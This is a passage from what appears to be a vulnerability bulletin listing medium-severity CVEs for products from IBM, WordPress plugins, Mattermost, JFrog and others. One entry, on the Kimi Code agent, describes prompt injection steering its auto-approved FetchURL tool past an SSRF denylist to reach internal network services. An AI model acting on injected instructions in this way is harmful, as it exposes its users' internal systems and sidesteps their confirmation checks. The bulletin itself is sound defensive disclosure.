| IBM--DataPower Gateway 10.6CD                                       | IBM DataPower Gateway is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A privileged user could exploit this vulnerability to expose sensitive information or consume memory resources.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 5.5        | <a href="#">CVE-2025-36374</a> |
| IBM--Db2                                                            | IBM Db2 12.1.0 through 12.1.4 federated server is vulnerable to a denial of service when running non fenced federated queries.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 6.2        | <a href="#">CVE-2026-10695</a> |
| IBM--Engineering Requirements Management DOORS and DOORS Web Access | IBM Engineering Requirements Management DOORS and DOORS Web Access 9.7.2.1 through 9.7.2.11, and 9.6.1.1 through 9.6.1.13 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-30 | 6.1        | <a href="#">CVE-2025-0152</a>  |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.8.4 contains multiple broken access control vulnerabilities in its file handling API that allow unauthorized access to user files. The /api/v1/files/images/{flow_id}/{file_name} endpoint does not enforce authentication or authorization checks, allowing unauthenticated remote attackers to retrieve image files associated with any flow by specifying a valid flow_id and file_name. Additionally, the /api/v1/files/download/{flow_id}/{file_name} endpoint requires authentication but fails to properly validate ownership of the requested resource. As a result, an authenticated user can access files belonging to other users by supplying arbitrary identifiers, leading to an authorization bypass (IDOR). Successful exploitation may result in unauthorized disclosure of sensitive | 2026-07-30 | 6.5        | <a href="#">CVE-2026-10700</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                          | data, including files stored in private flows. This issue breaks tenant isolation in multi-user deployments.                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| IBM--OPENBMC                             | IBM OPENBMC FW1110.00 through FW1110.20, and FW1060.00 through FW1060.71 allows ReadOnly users to escalate privileges and give themselves administrator privileges.                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-28 | 6.5        | <a href="#">CVE-2026-7868</a>  |
| IBM--OPENBMC                             | IBM OPENBMC FW1110.00 through FW1110.20, and FW1060.00 through FW1060.71 allows a user to supply a password with a resource dump request stores that password into the BMC audit log where an admin user can see it.                                                                                                                                                                                                                                                                                                                                                    | 2026-07-28 | 4.5        | <a href="#">CVE-2026-8058</a>  |
| IBM--Operations Analytics - Log Analysis | IBM Operations Analytics - Log Analysis 1.3.5.0, 1.3.5.1, 1.3.5.2, 1.3.5.3, 1.3.6.0, 1.3.6.1, 1.3.7.0, 1.3.7.1, 1.3.7.2, and 1.3.8.0, 1.3.8.1, 1.3.8.2, 1.3.8.3, 1.3.8.4 does not invalidate session after a password chance which could allow an authenticated user to impersonate another user on the system.                                                                                                                                                                                                                                                         | 2026-07-30 | 6.3        | <a href="#">CVE-2024-40683</a> |
| IBM--PowerVM Hypervisor                  | IBM PowerVM Hypervisor FW1110.00 through FW1110.20, and FW1060.00 through FW1060.71 could allow an attacker with physical access to the Transparent Memory Encryption (TME) hardware to decrypt encrypted memory due to insufficient cryptographic entropy.                                                                                                                                                                                                                                                                                                             | 2026-07-28 | 4.2        | <a href="#">CVE-2026-4932</a>  |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.1.2.0 through 6.1.2.7_2, 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.1.2.0 through 6.1.2.7_2, 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 Ebics server component is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. | 2026-07-30 | 5.4        | <a href="#">CVE-2025-36298</a> |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.2.0 through 6.2.2.0_1 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.                                                                                                                                                                                                  | 2026-07-30 | 5.4        | <a href="#">CVE-2025-36431</a> |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.6, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.0.0 through 6.2.0.6, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 is vulnerable to stored cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.                                                                               | 2026-07-28 | 5.5        | <a href="#">CVE-2026-7775</a>  |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 stores potentially sensitive information in log files that could be read by a privileged user.                                                                                                                                                                                                                                        | 2026-07-28 | 4.9        | <a href="#">CVE-2026-1918</a>  |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 is vulnerable to an information disclosure due to sensitive information being included in the source code comments of a mailbox component.                                                                                                                                                                                            | 2026-07-28 | 4.3        | <a href="#">CVE-2026-3157</a>  |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 is vulnerable to an information disclosure due to sensitive information being included in the source code comments of a dashboard component.                                                                                                                                                                                          | 2026-07-28 | 4.3        | <a href="#">CVE-2026-3158</a>  |
| IBM--Sterling B2B Integrator             | IBM Sterling B2B Integrator 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-28 | 4.3        | <a href="#">CVE-2026-7362</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                              | through 6.2.2.0_1 could allow an authenticated user to obtain sensitive information that should only be available to a privileged user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| IBM--Tivoli System Automation Application Manager                                            | IBM Tivoli System Automation Application Manager 4.1 and IBM WebSphere Application Server is affected by cross-site scripting in the Administrative Console.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-30 | 5.4        | <a href="#">CVE-2026-11383</a> |
| IBM--TS4500 CLI tool                                                                         | IBM TS4500 CLI tool Versions: 0.1.31 through 1.12.0.0 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 5.9        | <a href="#">CVE-2026-16107</a> |
| IBM--UCD - IBM UrbanCode Deploy                                                              | IBM UCD - IBM UrbanCode Deploy 7.2 through 7.2.3.23, and 7.3 through 7.3.2.18 and IBM UCD - IBM DevOps Deploy 8.0 through 8.0.1.13, 8.1 through 8.1.2.6, and 8.2 through 8.2.1.0 is susceptible to an Exposure of Sensitive Information Vulnerability in plugin output logs. This exposure could allow an attacker with access to the logs to potentially obtain sensitive values related to that step.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 4.3        | <a href="#">CVE-2026-10569</a> |
| IBM--Verify Identity Access                                                                  | IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 and IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 5.3        | <a href="#">CVE-2026-11904</a> |
| IBM--WebSphere Application Server                                                            | IBM WebSphere Application Server 8.5, and 9.0 traditional could allow a remote attacker to conduct a cross-site scripting attack.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-28 | 6.1        | <a href="#">CVE-2026-14515</a> |
| Icegram--Icegram Engage Popups, Optins, CTAs & Lead Generation                               | The Icegram Engage - Popups, Optins, CTAs & Lead Generation plugin for WordPress is vulnerable to second-order SQL Injection via 'messages[id]' Parameter in all versions up to, and including, 3.1.42 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection is second-order: the malicious id value is first persisted to post meta via the save_campaign_preview() AJAX action (gated by a nonce check and edit_post capability, requiring Editor-level access or above), and only executed as SQL when a subsequent preview request triggers get_message_data() to interpolate the stored value directly into a SQL IN() clause without \$wpdb->prepare() or integer casting. | 2026-08-01 | 6.5        | <a href="#">CVE-2026-16087</a> |
| Icegram--Icegram Mailer Reliable Email Deliverability, No-code SMTP Replacement & Email logs | The Icegram Mailer plugin for WordPress is vulnerable to SQL Injection via the 'fields' parameter in versions up to, and including, 1.0.12. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the Icegram_Mailer_Logs_Table::get_logs() function, where each element of the 'fields' array received from \$_REQUEST['data'] is joined verbatim into the SELECT clause via implode() with no whitelist, escaping, or prepared-statement placeholder. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                            | 2026-08-01 | 4.9        | <a href="#">CVE-2026-15951</a> |
| igloohome--Smart Lock Mobile Application                                                     | In igloohome Smart Lock Mobile App versions 3.2.3 and prior, an Inclusion of Sensitive Information in Source Code vulnerability could allow an unauthorized actor to access functions or backend services that were not sufficiently protected by authentication controls.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-28 | 5.3        | <a href="#">CVE-2026-16581</a> |
| ImageMagick--ImageMagick                                                                     | ImageMagick is free and open-source software used for editing and manipulating digital images. In versions prior to 7.1.2-27, a heap buffer over-write can occur in the fx operation by passing a crafted argument. This issue has been fixed in version 7.1.2-27.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-30 | 5          | <a href="#">CVE-2026-62363</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| ImageMagick--ImageMagick                                                                         | ImageMagick is free and open-source software used for editing and manipulating digital images. In versions prior to both 6.9.13-52 and 7.1.2-27, processing an extremely large JNX file on 32-bit platforms can cause an integer overflow, leading to a heap buffer over-write. This issue has been fixed in versions 6.9.13-52 and 7.1.2-27.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 5.1        | <a href="#">CVE-2026-62946</a> |
| ImageMagick--ImageMagick                                                                         | ImageMagick is free and open-source software used for editing and manipulating digital images. In versions prior to 7.1.2-27, the BGR decoder does not check for an end-of-file in every location so a crafted image could result in an heap buffer over-read. This issue has been fixed in version 7.1.2-27.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-29 | 5.3        | <a href="#">CVE-2026-64685</a> |
| ImageMagick--ImageMagick                                                                         | ImageMagick is free and open-source software used for editing and manipulating digital images. In versions prior to 6.9.13-51 and 7.0.1-0 and above prior to 7.1.2-26, an invalid kernel can cause a heap buffer over-write when performing a morphology operation with a user supplied kernel. This issue has been fixed in versions 6.9.13-51 and 7.1.2-26.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-29 | 4.7        | <a href="#">CVE-2026-62343</a> |
| inspirythemes--RealHomes Memberships                                                             | The RealHomes Memberships plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.0.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to grant themselves any premium membership tier without completing a PayPal transaction, generating a falsified active payment receipt and gaining unauthorized access to restricted property listing allowances.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-08-01 | 4.3        | <a href="#">CVE-2026-10782</a> |
| iSaumya--Ad Invalid Click Protector (AICP)                                                       | Unauthenticated Broken Access Control in Ad Invalid Click Protector (AICP) <= 1.3.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65445</a> |
| itpathsolutions--Contact Form to Any API                                                         | The Contact Form to Any API plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'cf7anyapi_form_field' Post Meta in all versions up to, and including, 3.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-29 | 6.4        | <a href="#">CVE-2026-15735</a> |
| jegtheme--Jeg Kit for Elementor Powerful Addons for Elementor, Widgets & Templates for WordPress | The Jeg Kit for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.1.1 via the 'enqueue_scripts()' method in 'class/dashboard/class-dashboard.php'. The plugin injects a 'JkitDashboardOption' JavaScript object containing full plugin inventory (names, versions, paths, active status), system environment details (WordPress version, PHP version, site URLs, server capabilities), and potentially third-party API credentials (Mailchimp API key via 'jkit_user_data') as an inline script on the 'post.php' admin page. Because this data is output without any capability check beyond post editing access, any authenticated user with Contributor-level access or above can view this sensitive configuration data by inspecting the page source. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive site configuration data, installed plugin details, and potentially third-party API keys. | 2026-08-01 | 4.3        | <a href="#">CVE-2026-2916</a>  |
| jfrog--artifactory                                                                               | Improper URL validation when handling specific URLs, allows an attacker, under certain conditions, to make unauthorized requests from JFrog Artifactory, potentially exposing internal services and cached response data.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65618</a> |
| jfrog--artifactory                                                                               | A URL validation weakness in JFrog Artifactory Ansible repository handling could allow a user, under specific repository access conditions, to cause unintended server-side requests. The issue primarily affects confidentiality and integrity and has been addressed in fixed Artifactory versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-27 | 6.8        | <a href="#">CVE-2026-65923</a> |
| jfrog--artifactory                                                                               | JFrog Artifactory support for Terraform remote repositories was found to be susceptible to Server-Side Request Forgery (SSRF). An authenticated user - or, if anonymous access is enabled on the repository, an unauthenticated user - could                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65924</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                       | cause Artifactory to issue outbound HTTP requests to arbitrary destinations and receive the response content.                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| jfrog--artifactory                    | A user with JFrog Artifactory Cargo remote repository read access could make Artifactory request unintended URLs and return the response.                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65925</a> |
| jfrog--artifactory                    | Build readers can access another repository's environment properties. A caller with read access to an ordinary repository can select a readable repository parameter while retrieving environment properties for a protected build, exposing build environment secrets (confidentiality impact; no integrity or availability impact demonstrated).                                                                                                                                                                                                      | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66018</a> |
| jgwhite33--WP Google Review Slider    | Unauthenticated Cross Site Request Forgery (CSRF) in WP Google Review Slider <= 18.4 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 4.3        | <a href="#">CVE-2026-66428</a> |
| juev--nebula-mesh                     | nebula-mesh is a self-hosted control plane for Slack Nebula mesh virtual private network. Prior to version 0.3.2, newly-minted operator API key exposed in redirect URL (Referer, history, proxy logs). This issue has been patched in version 0.3.2.                                                                                                                                                                                                                                                                                                   | 2026-07-28 | 5.5        | <a href="#">CVE-2026-47768</a> |
| jupyterlab--jupyterlab                | JupyterLab before 4.5.9 contains a stored cross-site scripting vulnerability in the Extension Manager that fails to validate URI protocols in package metadata URLs. Attackers can publish malicious PyPI packages with javascript: URLs in project metadata that execute arbitrary JavaScript in the JupyterLab origin when users click the extension name.                                                                                                                                                                                            | 2026-08-01 | 6.1        | <a href="#">CVE-2026-67338</a> |
| klubraum--Klubraum Membership Request | The Klubraum Membership Request plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'kr_mr_store_settings()' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to update the plugin's settings, including the Klubraum API token and introduction text, effectively hijacking the plugin's integration with the Klubraum service.                                                                                                 | 2026-07-29 | 5.3        | <a href="#">CVE-2026-4604</a>  |
| labelblanc--Improved Save Button      | The Improved Save Button plugin for WordPress is vulnerable to second-order SQL Injection via 'meta_key' Custom Field via 'Save and Duplicate' Action in all versions up to, and including, 1.2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. | 2026-07-30 | 6.5        | <a href="#">CVE-2026-16092</a> |
| Leantime--Leantime                    | Leantime 3.6.2 and prior contains a broken access control vulnerability that allows authenticated users to read milestone data from projects they are not assigned to by supplying arbitrary integer milestone IDs to the tickets.getMilestone JSON-RPC endpoint. Attackers can enumerate integer milestone IDs through the JSON-RPC API to access project planning information, milestone titles, descriptions, and timelines across all projects on the instance regardless of project membership.                                                    | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66412</a> |
| Leantime--Leantime                    | Leantime 3.6.2 contains an open redirect vulnerability in the Login controller that allows unauthenticated attackers to redirect authenticated users to arbitrary external sites by manipulating the redirectUrl POST parameter. Attackers can craft a malicious login URL with a tampered redirectUrl value that bypasses FILTER_SANITIZE_URL validation to redirect victims to attacker-controlled sites for phishing or credential theft.                                                                                                            | 2026-07-30 | 6.1        | <a href="#">CVE-2026-66414</a> |
| lrnz--Shortcodify                     | The Shortcodify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'name' Shortcode Attribute in all versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                             | 2026-07-28 | 5          | <a href="#">CVE-2026-11598</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| magepeopleteam--<br>Event Booking Manager for WooCommerce<br>Sell Tickets, Event Registration, RSVP & Event Calendar | The Event Booking Manager for WooCommerce - Sell Tickets, Event Registration, RSVP & Event Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.3.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify site-wide payment settings - including WooCommerce payment enablement, cart redirect behavior, login requirements for checkout, confirmation page ID, and confirmed ticket statuses - that govern how all event bookings are processed. | 2026-07-29 | 4.3        | <a href="#">CVE-2026-17166</a> |
| mailerpress--<br>MailerPress Newsletter, email marketing & AI automation                                             | The MailPress plugin for WordPress is vulnerable to unauthorized access in versions up to, and including, 1.5.0 via the campaign revision-restore REST endpoint (POST /wp-json/mailpress/v1/campaign/<id>/restore-revision/<revision_id>). The route in the vulnerable range was registered without a permissionCallback, allowing the restoreRevision() handler to run for unauthenticated requests and overwrite a campaign's content_html with any prior revision. This makes it possible for unauthenticated attackers to modify campaign content by restoring an arbitrary revision.                                                                   | 2026-07-31 | 5.3        | <a href="#">CVE-2026-18436</a> |
| mailerpress--<br>MailerPress Newsletter, email marketing & AI automation                                             | The MailerPress - Newsletter, email marketing & AI automation plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the `mailerpress/v1/contact` endpoint in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to update contact details.                                                                                                                                                                                                                                                                                                                             | 2026-07-31 | 5.3        | <a href="#">CVE-2026-18437</a> |
| Mattermost--<br>Mattermost                                                                                           | Mattermost versions 11.6.x <= 11.6.5, 10.11.x <= 10.11.20, 11.8.x <= 11.8.1, 11.7.x <= 11.7.4 fail to limit the number of frames and enforce the file size cap on animated GIF uploads, which allows an authenticated attacker to cause a denial of service via a crafted animated GIF uploaded as a custom emoji.. Mattermost Advisory ID: MMSA-2026-00695                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 6.5        | <a href="#">CVE-2026-10819</a> |
| Mattermost--<br>Mattermost                                                                                           | Mattermost versions 11.8.x <= 11.8.0, 11.7.x <= 11.7.3, 11.6.x <= 11.6.5, 10.11.x <= 10.11.20 fail to verify file deletion path which allows an admin with SAML system-console write permissions to delete arbitrary files outside the config directory from the server via the remove file endpoint.. Mattermost Advisory ID: MMSA-2026-00666                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 5.5        | <a href="#">CVE-2026-7521</a>  |
| Mattermost--<br>Mattermost                                                                                           | Mattermost versions 11.8.x <= 11.8.0, 11.7.x <= 11.7.3, 11.6.x <= 11.6.5, 10.11.x <= 10.11.20 fail to bound the time and resource consumption of server-side document content extraction which allows an authenticated user with file-upload permission to degrade file uploads for all users on the server via repeatedly uploading small documents that are cheap to upload but expensive to extract, saturating the shared extraction worker pool.. Mattermost Advisory ID: MMSA-2026-00694                                                                                                                                                              | 2026-07-27 | 4.3        | <a href="#">CVE-2026-10600</a> |
| mervb1--Easy<br>Property Listings                                                                                    | The Easy Property Listings plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'facebook' User Contact Method in all versions up to, and including, 3.5.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                  | 2026-08-01 | 6.4        | <a href="#">CVE-2026-16684</a> |
| Microsoft--<br>Microsoft Edge for Android                                                                            | Improper input validation in Microsoft Edge for Android allows an unauthorized attacker to perform tampering over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-28 | 5.4        | <a href="#">CVE-2026-62828</a> |
| mihaibarinov--<br>Advanced Woo Labels Product Labels & Badges for WooCommerce                                        | The Advanced Woo Labels - Product Labels & Badges for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bg_color' parameter in all versions up to, and including, 2.48 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                  | 2026-08-01 | 6.4        | <a href="#">CVE-2026-15662</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| MikroTik--RouterOS                              | An API session management flaw in products with the MikroTik RouterOS API enabled are vulnerable to a Insufficient Session Expiration vulnerability. This could allow active sessions to retain their previous permission set after inactivity timeouts or user group changes. As a result, an authenticated user whose permissions have been reduced may continue accessing information.                                                                                                                                                                                                                                                                                              | 2026-07-30 | 4.9        | <a href="#">CVE-2026-14227</a> |
| miniOrange--WordPress Social Login and Register | Contributor Cross Site Scripting (XSS) in WordPress Social Login and Register <= 7.8.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65561</a> |
| mndpsingh287--Theme Editor                      | The Theme Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1. This is due to missing nonce validation on the ms_update AJAX action. This makes it possible for unauthenticated attackers to modify child theme CSS styles via a forged request granted they can trick an administrator into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                            | 2026-08-01 | 4.3        | <a href="#">CVE-2025-14469</a> |
| modelcontextprotocol--ruby-sdk                  | MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StdioTransport and MCP::Client::Stdio in the mcp gem use IO#gets without a byte limit, allowing a peer that sends data without a newline to exhaust process memory. This issue is fixed in version 0.23.0.                                                                                                                                                                                                                                                                                                                                             | 2026-07-29 | 6.2        | <a href="#">CVE-2026-63119</a> |
| modelcontextprotocol--ruby-sdk                  | MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.                                                                                                                                                                                                                                                                                                                              | 2026-07-29 | 5.3        | <a href="#">CVE-2026-67430</a> |
| mohammadr3z--                                   | The Persian Elementor (پارسی-المنتور) plugin for WordPress is vulnerable to Price Manipulation in all versions up to, and including, 2.8.1. This is due to the plugin trusting a user-supplied payment amount without server-side validation against the configured ZarinPal widget price. This makes it possible for unauthenticated attackers to submit arbitrary payment amounts to the ZarinPal gateway via the 'amount' parameter.                                                                                                                                                                                                                                                | 2026-07-30 | 5.3        | <a href="#">CVE-2026-1982</a>  |
| MoonshotAI--Kimi Code                           | Kimi Code (@moonshot-ai/kimi-code) before 0.27.0 implements FetchURL SSRF hardening as a static hostname and IP-literal denylist in assertSafeFetchTarget, without resolving DNS or re-validating hosts after HTTP redirects. An attacker who can influence a FetchURL call (for example via prompt injection) can supply a crafted public hostname that resolves to loopback or another internal address, or a public URL that redirects to such a target, and thereby reach internal network services that the denylist was intended to block. FetchURL is included in the default auto-approve tool set, so the call does not require interactive user confirmation in manual mode. | 2026-07-27 | 5.5        | <a href="#">CVE-2026-17534</a> |
| MZ Automation GmbH--libiec61850                 | The ACSE layer contains a flaw in the processing of AARQ PDUs during MMS connection establishment. When parsing certain fields within the calling AP title, an attacker controlled length value of zero or one may cause the parser to read past the end of a heap buffer.                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 6.5        | <a href="#">CVE-2026-56758</a> |
